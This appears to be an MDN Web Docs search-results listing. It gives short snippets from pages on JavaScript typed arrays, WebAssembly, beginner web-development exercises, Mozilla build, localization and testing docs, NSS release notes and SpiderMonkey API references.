... syntax str.lastindexof(searchvalue[, fromindex]) parameters searchvalue a string representing the value to search for.
... if searchvalue is an empty string, then fromindex is returned.
...And 6 more matches
TypedArray.prototype.lastIndexOf() - JavaScript
the lastindexof() method returns the last index at which a given element can be found in the typed array, or -1 if it is not present.
... the typed array is searched backwards, starting at fromindex.
... syntax typedarray.lastindexof(searchelement[, fromindex = typedarray.length]) parameters searchelement element to locate in the typed array.
...And 6 more matches
Uint16Array - JavaScript
uint16array.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array.
... uint16array.prototype.filter() creates a new array with all of the elements of this array for which the provided filtering function returns true.
... uint16array.prototype.foreach() calls a function for each element in the array.
...And 6 more matches
Uint32Array - JavaScript
uint32array.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array.
... uint32array.prototype.filter() creates a new array with all of the elements of this array for which the provided filtering function returns true.
... uint32array.prototype.foreach() calls a function for each element in the array.
...And 6 more matches
Uint8Array - JavaScript
uint8array.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array.
... uint8array.prototype.filter() creates a new array with all of the elements of this array for which the provided filtering function returns true.
... uint8array.prototype.foreach() calls a function for each element in the array.
...And 6 more matches
Uint8ClampedArray - JavaScript
uint8clampedarray.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array.
... uint8clampedarray.prototype.filter() creates a new array with all of the elements of this array for which the provided filtering function returns true.
... uint8clampedarray.prototype.foreach() calls a function for each element in the array.
...And 6 more matches
WebAssembly.Memory - JavaScript
instance methods memory.prototype.grow() increases the size of the memory instance by a specified number of webassembly pages (each one is 64kb in size).
... the following example (see memory.html on github, and view it live also) fetches and instantiates the loaded memory.wasm byte code using the webassembly.instantiatestreaming() method, while importing the memory created in the line above.
... webassembly.instantiatestreaming(fetch('memory.wasm'), { js: { mem: memory } }) .then(obj => { var i32 = new uint32array(memory.buffer); for (var i = 0; i < 10; i++) { i32[i] = i; } var sum = obj.instance.exports.accumulate(0, 10); console.log(sum); }); creating a shared memory by default, webassembly memories are unshared.
...And 6 more matches
WebAssembly.Module - JavaScript
var worker = new worker("wasm_worker.js"); webassembly.compilestreaming(fetch('simple.wasm')) .then(mod => worker.postmessage(mod) ); in the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module from the main thread.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsmodulechrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57chrome android ...
...And 6 more matches
Object initializer - JavaScript
objects consist of properties, which are used to describe an object.
... let object = { foo: 'bar', age: 42, baz: {myprop: 12} } accessing properties once you have created an object, you might want to read or change them.
...you will see code like this: let a = 'foo', b = 42, c = {}; let o = { a: a, b: b, c: c } with ecmascript 2015, there is a shorter notation available to achieve the same: let a = 'foo', b = 42, c = {}; // shorthand property names (es2015) let o = {a, b, c} // in other words, console.log((o.a === {a}.a)) // true duplicate property names when using the same name for your properties, the second property will overwrite the first.
...And 6 more matches
delete operator - JavaScript
return value true for all cases except when the property is an own non-configurable property, in which case, false is returned in non-strict mode.
... however, it is important to consider the following scenarios: if the property which you are trying to delete does not exist, delete will not have any effect and will return true.
... if a property with the same name exists on the object's prototype chain, then, after deletion, the object will use the property from the prototype chain (in other words, delete only has an effect on own properties).
...And 6 more matches
JavaScript typed arrays - JavaScript
javascript typed arrays are array-like objects that provide a mechanism for reading and writing raw binary data in memory buffers.
... however, as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times when it would be helpful for javascript code to be able to quickly and easily manipulate raw binary data.
...each entry in a javascript typed array is a raw binary value in one of a number of supported formats, from 8-bit integers to 64-bit floating-point numbers.
...And 6 more matches
unicode - SVG: Scalable Vector Graphics
WebSVGAttributeunicode
the unicode attribute specifies one or more unicode characters indicating the sequence of unicode characters which corresponds to a glyph.
... if a character is provided, then this glyph corresponds to the given unicode character.
... if multiple characters are provided, then this glyph corresponds to the given sequence of unicode characters.
...And 6 more matches
Mixed content - Web security
an https page that includes content fetched using cleartext http is called a mixed content page.
...the attacker could also infer information about the user's activities by watching which images are served to the user; often images are only served on a specific page within a website.
... if the attacker observes http requests to certain images, they could determine which webpage the user is visiting.
...And 6 more matches
Player paddle and controls - Game development
because the anchor from which the position is calculated always starts from the top left edge of the object.
... we can change that to have the anchor in the middle of the paddle's width and at the bottom of it's height, so it's easier to position it against the bottom edge.
... add the following line below the previous new one: paddle.anchor.set(0.5,1); the paddle is now positioned right where we want it to be.
...And 5 more matches
Game development
new technologies are constantly arriving to make it possible to develop better and more powerful games that can be run in any standards-compliant web browser.
...you will find many useful tutorials and technique articles in the main menu on the left, so feel free to explore.
... note: creating games on the web draws on a number of core web technologies such as html, css, and javascript.
...And 5 more matches
Entity - MDN Web Docs Glossary: Definitions of Web-related terms
entities are frequently used to display reserved characters (which would otherwise be interpreted as html code), and invisible characters (like non-breaking spaces).
... you can also use them in place of other characters that are difficult to type with a standard keyboard.
... many characters have memorable entities.
...And 5 more matches
Test your skills: Selectors - Learn web development
the aim of this task is to help you check your understanding of selectors in css.
... note: you can try out solutions in the interactive editors below, however, it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... selectors one without changing the html, use css to do the following things: make h1 headings blue.
...And 5 more matches
Test your skills: Flexbox - Learn web development
below are four common design patterns which you might use flexbox to create, your task is to build them.
... note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...they should be laid out as a row, with an equal amount of space between each item.
...And 5 more matches
How do you upload your files to a web server? - Learn web development
in this article we'll discuss how to do that, using various available options such as sftp clients, rsync and github.
... to connect your sftp client to the distant server, follow these steps: choose file > site manager...
... in the logon type: drop down, choose normal, then fill in your provided username and password in the relevant fields.
...And 5 more matches
Add a hitmap on top of an image - Learn web development
do not use server-side image maps, which require the user to have a mouse.
...an image map, on the other hand, contains several active regions (called "hotspots") that each link to a different resource.
...72 × 72 css pixels is a good minimum, with additional generous gaps between touch targets.
...And 5 more matches
Using data attributes - Learn web development
data-* attributes allow us to store extra information on standard, semantic html elements without other hacks such as non-standard attributes, extra properties on dom, or node.setuserdata().
... const article = document.queryselector('#electric-cars'); article.dataset.columns // "3" article.dataset.indexnumber // "12314" article.dataset.parent // "cars" each property is a string and can be read and written.
... in the above case setting article.dataset.columns = 5 would change that attribute to "5".
...And 5 more matches
Test your skills: Links - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... links 1 in this task we want you to help fill in the links on our whales information page: the first link should be linked to a page called whales.html, which is in the same directory as the current page.
... links 2 in this task we want you to fill in the four links so that they link to the appropriate places: the first link should link to an image called blue-whale.jpg, which is located in a directory called blue inside the current directory.
...And 5 more matches
Test your skills: Functions - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... dom manipulation: considered useful some of the questions below require you to write some dom manipulation code to complete them — such as creating new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page — all via javascript.
... we haven't explicitly taught this yet in the course, but you'll have seen some examples that make use of it, and we'd like you to do some research into what dom apis you need to successfully answer the questions.
...And 5 more matches
Test your skills: Object basics - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...each array item should be an object containing the following members: name: a string representing the name of the album.
... once you've done this, you should then write a string to the variable bandinfo, which will contain a small biography detailing their name, nationality, years active, and style, and the title and release date of their first album.
...And 5 more matches
Accessibility Information for Core Gecko Developers
html accessibility dynamic web content is not accessible because it uses vanilla <div>s and <span>s combined with javascript rather than declarative markup to describe the behavior of custom widgets such as menus and tree views.
... these widgets are often not even keyboard focusable, and assistive technologies do not understand these widgets.
... this document shows several interactive desktop-style widgets that are accessible by keyboards and assistive technologies, and outlines a plan being developed by ibm, mozilla, and the wai protocols and formats working group (pfwg) to address the issue of dhtml accessibility.
...And 5 more matches
Debugging Frame Reflow
it provides the following information for each frame at the start of its reflow reflow reason available width, available height computed width, computed height the previous and the next frame in flow and a count number.
... log file analysis the log file for a simple table like <!doctype html public "-//w3c//dtd html 4.01 transitional//en"> <html> <head> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> </head> <body> <table width="100"> <tbody> <tr> <td>foo</td> </tr> </tbody> </table> </body> </html> will create the following log: vp 00b97c30 r=0 a=9180,4470 c=9180,4470 cnt=856 scroll 00b97ee0 r=0 a=9180,4470 c=9180,4470 cnt=857 scroll 00b97ee0 r=0 a=9180,4470 c=9180,4470 cnt=858 canvas 00b97c6c r=0 a=9180,uc c=9180,4470 cnt=859 area 02d7afe4 r=0 a...
...other reflow reasons are: incremental reflow resize reflow style change reflow dirty reflow the available width is 9180 twips.
...And 5 more matches
Makefile - variables
moz_current_project moz_debug moz_enable_xremote moz_feeds moz_help_viewer moz_native_nspr moz_metro moz_pkg_mainfest moz_preflight_all moz_rdf moz_toolkit_search moz_url_classifier moz_widget_toolkit android, beos, cocoa, gtk2, os2, qt, windows moz_xpctools moz_xul moz_x11 test variable description enable_tests boolean value that should wrapper all ...
... python_unit_tests list of python scripts to check exit status for make check xpc_shell_tests no_xpcshell_manifest_check inhibit validating manifest files when running xpcshell tests.
... os_ variable description os_arch platform type os_target target binary type if building on an intermediate platform(building mobile binaries on gnu/linux).
...And 5 more matches
Simple Sunbird build
on windows, if you open the command prompt you are usually in your user profile folder which often contains spaces ( c:\documents and settings\...).
...to avoid this issue, change to a directory without spaces (i.e.
... # get the source hg clone http://hg.mozilla.org/comm-central/ cd comm-central python client.py checkout # setup a basic .mozconfig file echo 'ac_add_options --enable-application=calendar' > .mozconfig # let's build sunbird...
...And 5 more matches
Geckoview-Junit Tests
running tests locally if desired, connect an android device to your computer, or start an emulator, and make sure your device is visible to adb: $ adb devices list of devices attached emulator-5554 device if no device is found, 'mach geckoview-junit' will offer to start an emulator.
... before running tests, install the androidtest apk on your device; otherwise, 'mach geckoview-junit' will offer to install it.
... mozilla-central$ mach install --app org.mozilla.geckoview.test to run all tests: mozilla-central$ mach geckoview-junit to run just one class of tests: mozilla-central$ mach geckoview-junit <class> please note that unlike robocop tests, <class> needs to be specified using the fully qualified class name including the package, e.g.
...And 5 more matches
Hacking with Bonsai
many times, code checked in would compile or run on a handful of platforms.
...the process everyone who checks into the tree, joins a group called "the hook" at 8:00 am pst every weekday morning, the source tree is closed.
...there is a web page, which records if the tree is open or closed what the date stamp of the last known good tree is who is on the hook for the current tree before the tree is opened, the list of checkins that happened when the tree was closed is reviewed to insure that only build related checkins took place.
...And 5 more matches
AddonListener
addonlisteners can be registered with addaddonlistener() and will then receive notification of changes to the add-ons currently installed.
... void ondisabling(in addon addon, in boolean needsrestart) void ondisabled(in addon addon) void oninstalling(in addon addon, in boolean needsrestart) void oninstalled(in addon addon) void onuninstalling(in addon addon, in boolean needsrestart) void onuninstalled(in addon addon) void onoperationcancelled(in addon addon) void onpropertychanged(in addon addon, in string properties[]) methods onenabling() called when an add-on is about to be enabled.
... void onenabling( in addon addon, in boolean needsrestart ) parameters addon the addon that is being enabled needsrestart true if an application restart is necessary for the change to take effect onenabled() called when an add-on has been enabled.
...And 5 more matches
DownloadTarget
this is a dynamic property, which is updated when the download is completed or when the download.refresh() method is called.
... you can use this instead of using file system calls to check for the existence of the file in order to reduce io overhead.
... for single-file downloads, this property's value will always match the actual size of the file on disk, while the download.totalbytes property, when available, may indicate the size of the data as encoded for transfer instead.
...And 5 more matches
OSFile.jsm
we are talking about several seconds to execute operations that look trivial, such as closing a file, or checking when it was last modified.
... if the operation is called on the main thread, this means that the whole user experience is stuck for several seconds, which is quite bad.
...smartphones, tablets) and because, regardless of the platforms, doing too much i/o penalizes not just your application but potentially all the applications running on the system, which is quite bad for the user experience.
...And 5 more matches
Mozilla Content Localized in Your Language
reference material can be find here calendar calendar view: which date is considered the first day of the week, sunday or monday?
... acronyms do you translate widely accepted acronyms such as cd, dvd, mb?
... character styles how are bold, italics, underlines, etc.
...And 5 more matches
Localizing XLIFF files for iOS
xliff (extensible localisation interchange file format) is a localization standard governed by the oasis standards body.
... the goal of the standard is to have an xml-based format to use when exchanging localization data between tools without the potential of data loss or corruption.
...each <file> tag requires the target-language attribute with your locale code as the value (e.g., target-language="xx-xx").
...And 5 more matches
Mozilla Quirks Mode Behavior
to match other elements, the selector must include a tag name, id, class or attribute.
... prior to gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3), there was no class check, so the :hover pseudoclass was not applied to class selectors; for example, .someclass:hover did not work.
... prior to gecko 36, it also applied to images, and form controls but the quirk has been adapted to match the behavior of other browser (bug 783213).
...And 5 more matches
Productization guide
productization is the choice of ''default'' search engines, content and protocol handlers, bookmarks, links to recommended sites on the in-product pages, etc.
...for example, a search provider can deliver a very good quality of search results — but only in a specific country or language, and we have to take this into account when considering default search engines for a locale.
...for example, we ship firefox with 6 or 7 search engine plug-ins to make users’ lives easier when they’re looking for information, translation, products, multimedia, spelling and definitions, etc.
...And 5 more matches
MailNews automated testing
it allows reviewers to quickly pick up regressions in patches and helps developers to think about different cases.
... this page and its sub-pages describe (and link to) the available test mechanisms within mailnews, and provide supporting information for developers and testers.
... functional testing xpcshell-tests and make check these are core test harnesses to which mailnews adds its own tests.
...And 5 more matches
Dynamic Library Linking
it also provides a method by which to condition symbols of statically linked code so that to other clients it appears as though they are dynamically loaded.
... dynamic library search path exporting symbols from the main executable program dynamic library search path the dynamic library search path is the list of directories in which to look for a dynamic library.
... each platform has its own standard directories in which to look for dynamic libraries, plus a customizable list of directories specified by an environment variable.
...And 5 more matches
Named Shared Memory
the chapter describes the nspr api for named shared memory.
... shared memory allows multiple processes to access one or more common shared memory regions, using it as an interprocess communication channel.
... pr_attachsharedmemory should be called following pr_opensharedmemory to map the memory segment to an address in the application's address space.
...And 5 more matches
PRThreadScope
syntax #include <prthread.h> typedef enum prthreadscope { pr_local_thread, pr_global_thread pr_global_bound_thread } prthreadscope; enumerators pr_local_thread a local thread, scheduled locally by nspr within the process.
... pr_global_thread a global thread, scheduled by the host os.
... pr_global_bound_thread a global bound (kernel) thread, scheduled by the host os description an enumerator of type prthreadscope specifies how a thread is scheduled: either locally by nspr within the process (a local thread) or globally by the host (a global thread).
...And 5 more matches
Running NSPR tests
to build the test programs, you need to change directory to mozilla/nsprpub/pr/tests and run gmake.
...r test results - tests begin mon mar 12 11:44:41 pdt 2007 nspr_test_logfile /dev/null test result accept passed acceptread passed acceptreademu passed affinity passed alarm passed anonfm passed atomic passed attach passed bigfile passed cleanup passed cltsrv passed concur passed cvar passed cvar2 passed ...
... timetest passed tpd passed udpsrv passed vercheck passed version passed writev passed xnotify passed zerolen passed end mon mar 12 11:55:47 pdt 2007 how to determine if the test suite passed if all the tests reported passed as the results, the test suite passed.
...And 5 more matches
4.3.1 Release Notes
this will cause programs that attempt to perform renegotiation to experience failures where they formerly experienced successes, and is necessary for them to not be vulnerable, until such time as a new safe renegotiation scheme is standardized by the ietf.
...by setting this environmental variable, the fix provided by these patches will have no effect and the application may become vulnerable to the issue.
... this default setting can also be changed within the application by using the following jss methods: sslserversocket.enablerenegotiation(int mode) sslsocket.enablerenegotiation(int mode) sslsocket.enablerenegotiationdefault(int mode) the mode of renegotiation that the peer must use can be set to the following: sslsocket.ssl_renegotiate_never - never renegotiate at all.
...And 5 more matches
NSS 3.12.6 release notes
nss 3.12.6 release notes 2010-03-03 newsgroup: mozilla.dev.tech.crypto introduction network security services (nss) 3.12.6 is a patch release for nss 3.12.
... you also need to download the nspr 4.8.4 binary distributions to get the nspr 4.8.4 header files and shared libraries, which nss 3.12.6 requires.
... the behavior of nss for renegotiation can be changed through api function calls, or with the following environment variables: nss_ssl_enable_renegotiation values: [0|n|n]: ssl_renegotiate_never never allow renegotiation - that was the default for 3.12.5 release.
...And 5 more matches
NSS 3.14.2 release notes
network security services (nss) 3.14.2 is a patch release for nss 3.14.
... new types: in certt.h cert_pi_useonlytrustanchors in secoidt.h sec_oid_ms_ext_key_usage_ctl_signing notable changes in nss 3.14.2 bug 805604 - support for aes-ni and avx accelerated aes-gcm was contributed by shay gueron of intel.
... if compiled on linux systems in 64-bit mode, nss will include runtime detection to check if the platform supports aes-ni and pclmulqdq.
...And 5 more matches
NSS 3.16.2 release notes
introduction network security services (nss) 3.16.2 is a patch release for nss 3.16.
...use the new pk11_privdecrypt and pk11_pubencrypt functions with the ckm_rsa_pkcs_oaep mechanism.
...the algorithm is specified with a ck_mechanism_type.
...And 5 more matches
NSS 3.21 release notes
introduction the nss team has released network security services (nss) 3.21, which is a minor release.
... new in nss 3.21 new functionality certutil now supports a --rename option to change a nickname (bug 1142209) tls extended master secret extension (rfc 7627) is supported (bug 1117022) new info functions added for use during mid-handshake callbacks (bug 1084669) new functions in nss.h nss_optionset - sets nss global options nss_optionget - gets the current value of nss global options in secmod.h secmod_createmoduleex - create a new secmodmodule st...
... in ssl.h ssl_getpreliminarychannelinfo - obtains information about a tls channel prior to the handshake being completed, for use with the callbacks that are invoked during the handshake ssl_signatureprefset - configures the enabled signature and hash algorithms for tls ssl_signatureprefget - retrieves the currently configured signature and hash algorithms ssl_signaturemaxcount - obtains the maximum number signature algorithms that can be configured with ssl_signatureprefset ...
...And 5 more matches
NSS 3.23 release notes
introduction the nss team has released network security services (nss) 3.23, which is a minor release.
... nss 3.23 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_23_rtm/src/ new in nss 3.23 new functionality chacha20/poly1305 cipher and tls cipher suites now supported (bug 917571, bug 1227905) experimental-only support tls 1.3 1-rtt mode (draft-11).
... new functions in ssl.h ssl_setdowngradecheckversion - set maximum version for new serverrandom anti-downgrade mechanism.
...And 5 more matches
NSS 3.47 release notes
introduction the nss team has released network security services (nss) 3.47 on 18 october 2019, which is a minor release.
... the nss team would like to recognize first-time contributors: christian weisgerber deian stefan jenine distribution information the hg tag is nss_3_47_rtm.
... upcoming changes to default tls configuration the next nss team plans to make two changes to the default tls configuration in nss 3.48, which will be released in early december: tls 1.3 will be the default maximum tls version.
...And 5 more matches
NSS 3.55 release notes
introduction the nss team has released network security services (nss) 3.55 on 24 july 2020, which is a minor release.
... notable changes in nss 3.55 p384 and p521 elliptic curve implementations are replaced with verifiable implementations from fiat-crypto and ecckiila.
...with this function, a given slot can be queried with a der-encoded certificate, providing performance and usability improvements over other mechanisms.
...And 5 more matches
NSS Sample Code Sample_1_Hashing
sample code 1 /* nspr headers */ #include <prprf.h> #include <prtypes.h> #include <plgetopt.h> #include <prio.h> /* nss headers */ #include <secoid.h> #include <secmodt.h> #include <sechash.h> typedef struct { const char *hashname; secoidtag oid; } nametagpair; /* the hash algorithms supported */ static const nametagpair hash_names[] = { { "md2", sec_oid_md2 }, { "md5", sec_oid_md5 }, { "sha1", sec_oid_sha1 }, { "sha256", sec_oid_sha256 }, { "sha384", sec_oid_sha384 }, { "sha512", sec_oid_sha512 } }; /* * maps a hash name to a secoidtag.
... * returns null if the name is not a supported algorithm */ static secoidtag hashnametooidtag(const char *hashname) { int i, nhashes = sizeof(hash_names); secoidtag hashtag = sec_oid_unknown; for (i = 0; i < nhashes; i++) { if (port_strcasecmp(hashname, hash_names[i].hashname) == 0) { hashtag = hash_names[i].oid; break; } } return hashtag; } /* * newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* * printashex */ void printashex(prfiledesc* out, unsigned char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int level = 1; column = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < len; i++...
...olumn += 3; } else { pr_fprintf(out, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) { newline(out); column = level; limit = i % 16; } } if (column != level) { newline(out); } } /* * prints a usage message and exits */ static void usage(const char *progname) { int htype; int hash_algtotal = sizeof(hash_names) / sizeof(hash_names[0]); fprintf(stderr, "usage: %s -t type [ < input ] [ > output ]\n", progname); fprintf(stderr, "%-20s specify the digest method (must be one of\n", "-t type"); fprintf(stderr, "%-20s ", ""); for (htype = 0; htype < hash_algtotal; htype++) { fprintf(stderr, hash_names...
...And 5 more matches
NSS environment variables
note: nss environment variables are subject to be changed and/or removed from nss.
... 3.12.5 nss_hash_alg_support string specifies agorithms allowed to be used in certain applications, such as in signatures on certificates and crls.
... 3.7 nss_sdb_use_cache string ("no","yes","auto") controls whether nss uses a local cache of sql database contents.
...And 5 more matches
Proxies in Necko
this means that callers can just create an nsichannel, not needing to worry about whether the channel will use a proxy or not the basic interfaces for proxies are: nsiproxyinfo, nsiprotocolproxyservice, and nsiproxiedprotocolhandler nsiproxyinfo is a simple helper which stores information about the type of the proxy, its host and its port.
... nsiioservice the decision whether to use a proxy is made in nsioservice::newchannelfromuri.
...depending on the type of the proxy info, it either asks the http protocol handler or the protocol handler for the requested uri for a new channel with the nsiproxyinfo - if the channel supports nsiproxiedprotocolhandler.
...And 5 more matches
Future directions
that means the code as it is today won't match this document, and that's ok.
... whenever practical, new code and changes should move code closer to the ideal future.
... and of course, the idea of the future is always evolving in time as things change and we learn more.
...And 5 more matches
Self-hosted builtins in SpiderMonkey
most importantly, it's possible to invoke any function within the scope of any object using the syntax callfunction(fun, receiver, ...args) (or callcontentfunction, see below), which causes fun to be called within the scope of receiver with ...args as its arguments.
...this restriction was added because otherwise it's extremely easy to accidentally call methods that have been changed by content, changing the behavior from what was expected.
...e.g., if receiver is an object that content has access to, then callfunction(receiver.fun, receiver) wouldn't be guaranteed to work, because content might have changed the value of receiver.fun, so callcontentfunction(receiver.fun, receiver) has to be used.
...And 5 more matches
JS::CompileOffThread
syntax bool js::cancompileoffthread(jscontext *cx, const js::readonlycompileoptions &options, size_t length); bool js::compileoffthread(jscontext *cx, const js::readonlycompileoptions &options, const char16_t *chars, size_t length, js::offthreadcompilecallback callback, void *callbackdata); jsscript * js::finishoffthreadscript(jscontext *maybecx, jsruntime *rt, void *token); typedef void (*js::offthreadcompilecallback)(void *token, void *callbackdata); name type description cx / maybe jscontext * pointer to a js context from which to derive runtime information.
... chars const char16_t * string containing the script to compile.
... length size_t the length of chars or bytes, in characters.
...And 5 more matches
JS::PersistentRooted
syntax js::persistentrooted<t> var; // added in spidermonkey 38 js::persistentrooted<t> var(cx); js::persistentrooted<t> var(cx, initial); js::persistentrooted<t> var(rt); js::persistentrooted<t> var(rt, initial); name type description cx jscontext * the context to get the runtime in which to add the root rt jsruntime * the runtime in which to add the root.
... note that you must not use an persistentrooted in an object owned by a js object: whenever one object whose lifetime is decided by the gc refers to another such object, that edge must be traced only if the owning js object is traced.
... this applies not only to js objects (which obviously are managed by the gc) but also to c++ objects owned by js objects.
...And 5 more matches
JSAutoByteString
syntax jsautobytestring str; jsautobytestring(jscontext *cx, jsstring *str); name type description cx jscontext * the context in which to add the root.
... methods method description void initbytes(char *bytes) take ownership of the given byte array.
... char *encodelatin1(jscontext *cx, jsstring *str) call js_encodestring and take ownership of the returned string, and return the string.
...And 5 more matches
JSProtoKey
mxr search for jsproto_null jsproto_object object mxr search for jsproto_object jsproto_function function mxr search for jsproto_function jsproto_array array mxr search for jsproto_array jsproto_boolean boolean mxr search for jsproto_boolean jsproto_json json mxr search for jsproto_json jsproto_date date mxr search for jsproto_date jsproto_math math mxr search for jsproto_math jsproto_number number mxr search for jsproto_number jsprot...
...o_string string mxr search for jsproto_string jsproto_regexp regexp mxr search for jsproto_regexp jsproto_error error mxr search for jsproto_error jsproto_internalerror internalerror mxr search for jsproto_internalerror jsproto_evalerror evalerror mxr search for jsproto_evalerror jsproto_rangeerror rangeerror mxr search for jsproto_rangeerror jsproto_referenceerror referenceerror mxr search for jsproto_referenceerror jsproto_syntaxerror syntaxerror mxr search for jsproto_syntaxerror jsproto_typeerror typeerror mxr search for jsproto_typeerror jsproto_urierror urierror mxr search for jsproto_urierror jsproto_iterator itera...
...tor mxr search for jsproto_iterator jsproto_stopiteration stopiteration mxr search for jsproto_stopiteration jsproto_arraybuffer arraybuffer mxr search for jsproto_arraybuffer jsproto_int8array int8array mxr search for jsproto_int8array jsproto_uint8array uint8array mxr search for jsproto_uint8array jsproto_int16array int16array mxr search for jsproto_int16array jsproto_uint16array uint16array mxr search for jsproto_uint16array jsproto_int32array int32array mxr search for jsproto_int32array jsproto_uint32array uint32array mxr search for jsproto_uint32array jsproto_float32array float32array mxr search for jsproto_float32array js...
...And 5 more matches
JS_DeleteProperty2
syntax bool js_deleteproperty2(jscontext *cx, js::handleobject obj, const char *name, bool *succeeded); bool js_deleteucproperty2(jscontext *cx, js::handleobject obj, const char16_t *name, size_t namelen, bool *succeeded); bool js_deletepropertybyid2(jscontext *cx, js::handleobject obj, js::handleid id, bool *succeeded); // added in spidermonkey 1.8.1 name type description cx jscontext * pointer to a js context from whi...
...ch to derive runtime information.
... obj js::handleobject object from which to delete a property.
...And 5 more matches
JS_HasProperty
syntax bool js_hasproperty(jscontext *cx, js::handleobject obj, const char *name, bool *foundp); bool js_hasucproperty(jscontext *cx, js::handleobject obj, const char16_t *name, size_t namelen, bool *vp); bool js_haspropertybyid(jscontext *cx, js::handleobject obj, js::handleid id, bool *foundp); // added in spidermonkey 1.8.1 name type description cx jscontext * a context.
... obj js::handleobject object to search on for the property.
... name or id const char * or const char16_t or js::handleid name of the property to look up.
...And 5 more matches
JS_PushArguments
syntax jsval * js_pusharguments(jscontext *cx, void **markp, const char *format, ...); jsval * js_pushargumentsva(jscontext *cx, void **markp, const char *format, va_list ap); name type description cx jscontext * the context in which to perform any necessary conversions.
...on success, *markp receives the internally allocated stack mark which should be passed to js_poparguments.
... format const char * null-terminated string holding a list of format types to convert the following arguments to.
...And 5 more matches
JS_SetOperationCallback
callback syntax jsbool (*jsoperationcallback)(jscontext *cx); name type description cx jscontext * pointer to a jscontext in which this callback was installed.
... applications must not use both the operation callback api and the older branch callback api.
... to schedule the gc and for other activities the engine internally triggers operation callbacks.
...And 5 more matches
JS_SetParent
syntax bool js_setparent(jscontext *cx, js::handleobject obj, js::handleobject parent); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... obj js::handleobject pointer to the object for which to set the parent.
... each object may have at most one parent, which is another object.
...And 5 more matches
JS_SetProperty
syntax bool js_setproperty(jscontext *cx, js::handleobject obj, const char *name, js::handlevalue v); bool js_setucproperty(jscontext *cx, js::handleobject obj, const char16_t *name, size_t namelen, js::handlevalue v); bool js_setpropertybyid(jscontext *cx, js::handleobject obj, js::handleid id, js::handlevalue v); // added in spidermonkey 1.8.1 name type description cx jscontext * pointer to a js context from which to derive runtime information.
... obj js::handlevalue object to which the property to set belongs.
... name or id const char * or const char16_t *or js::handleid name of the property to set.
...And 5 more matches
JS_THREADSAFE
we have recently made major changes to this feature.
...each thread that uses the javascript engine must essentially operate in a totally separate region of memory.
...these callbacks are (unreliably!) documented with the words "provides request", like this: name type description cx jscontext * the context in which the event ocurred.
...And 5 more matches
compare-locales
compare-locales is a python script that helps localizers to check their work without running firefox or another application.
... installation compare-locales needs to be installed, and it requires that you have python 2.7 or 3.5+ installed on your machine.
...if you want to test the localization for de, run $ compare-locales browser/locales/l10n.toml ./l10n/ de to check mobile, replace the previous line with: $ compare-locales mobile/android/locales/l10n.toml ./l10n/ zh-tw to check mail, suite, calendar that lives on comm-central, you can either rely on the check-out of mozilla within comm-central repository that the regular comm-central build instructions generate: $ compare-locales ./comm-central/mail/locales/l10n.toml ./l10n/ zh-tw if you don't want...
...And 5 more matches
Mozinfo
throughout mozmill and other mozilla python code, checking the underlying platform is done in many different ways.
... the various checks needed lead to a lot of copy+pasting, leaving the reader to wonder....is this specific check necessary for (e.g.) an operating system?
... because information is not consolidated, checks are not done consistently, nor is it defined what we are checking for.
...And 5 more matches
Using the Places keywords API
each keyword can be associated with post data, in such a case a post action will be executed when the given url is selected from the awesomebar.
... keywords in firefox are currently created through the add keyword for this search contextual menu option in form text fields.
... fetching an entry by keyword the fetch() method acceps a keyword string (or an object having a keywords property) and might resolve to a keyword entry with the following properties: keyword: string representing the keyword url: the url represeted by the keyword postdata: optional post data string.
...And 5 more matches
Fun With XBL and XPConnect
introduction this article describes an application of xbl in which a simple xpcom interface is made accessible to a xul widget.
...all you have to do is specifically defining a method on the xbl widget which forwards the method call to the xpcom object.
... <method name="autocomplete"> <argument name="asearchstring"/> <argument name="resultlistener"/> <body> <![cdata[ return this.autocompletesession.autocomplete(null, anonymouscontent[0], asearchstring, this.autocompletelistener); ]]> </body> </method> you can see that the body of the method is just getting the auto complete session object and calling the auto complete method on it.
...And 5 more matches
How to build a binary XPCOM component using Visual Studio
xpcom is mozilla’s cross platform component object model, similar to microsoft’s com technology.
...for example, xulrunner 1.8.0.4 which has a pre-built sdk at gecko-sdk-win32-msvc-1.8.0.4.zip.
...you also need a couple of pre-built libraries (glib-1.2.dll & libidl-0.6.dll) from the wintools.zip archive.
...And 5 more matches
Components.classes
each object represents one of the classes of xpcom components that can be constructed or accessed as an xpcom service.
...if you want to use a class which was only registered with their cid, use components.classesbyid instead of components.classes to retrieve it.
... note also that it is possible that a given add-on component with a given contractid will be present on one machine but not have been installed on another machine.
...And 5 more matches
Components.utils.importGlobalProperties
system scopes such as jsms and frame scripts don't have certain objects, such as indexeddb and xmlhttprequest, that are available to dom window globals.
... using this api you can import these objects into such a system scope.
